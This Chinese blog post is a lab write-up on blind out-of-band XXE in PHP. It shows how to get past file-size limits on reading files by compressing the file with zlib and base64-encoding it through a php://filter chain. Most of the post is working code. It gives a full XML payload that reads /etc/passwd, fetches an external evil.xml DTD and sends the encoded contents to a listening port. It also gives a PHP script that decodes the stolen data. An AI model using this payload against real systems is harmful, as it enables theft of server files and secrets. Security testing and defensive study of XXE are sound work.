php下Blind_XXE_OOB 突破文件读取大小限制

不同解析器对xml的解析习惯差别还是挺大的,我在测试时用网上找到的payload几乎都不能在php下实现oob
下面的思路主要来自一些英文paper,有些细节问题自己做了解决。

测试环境:
PHP 7.0.15-0ubuntu0.16.04.4 (cli) ( NTS )
Libxml library ver. 2.9.3
情景:
目标存在XXE,无回显,读取文件大小受限制(这个大小是由解析器决定的)。
payload:

<?php
$xml = <<<EOD
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/evil.xml">
%remote;
%all;
]>
<root><number>&send;</number></root>
EOD;
$doc = simplexml_load_string($xml, null, LIBXML_NOENT);
var_dump($doc);

evil.xml内容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:1234/?%file;'>">

突破文件读取大小的限制在这里实现:

php://filter/read=zlib.deflate/convert.base64-encode/resource=/etc/passwd

base64是为了发送http请求的时候不丢内容,zlib.deflate是对内容进行压缩,这可以在一定程度上突破大小限制,至少我测试的时候不压缩/etc/passwd发不出来,压缩后可以。
类似的压缩过滤器还有:
https://secure.php.net/manual/zh/filters.compression.php
效果:
1.png

解码脚本:
(注意http请求中URL里“+”号会被替换成空格,所以解码前一定要换回去)

<?php
$str = file_get_contents("./lalala.txt");
$str = str_replace(" ", "+", $str);
function decode($str) {
$str = base64_decode($str);
$str = gzinflate($str);
return $str;
}
print_r(decode($str));

2017-04-11 08-33-58屏幕截图_meitu_1.jpg

标签: none

添加新评论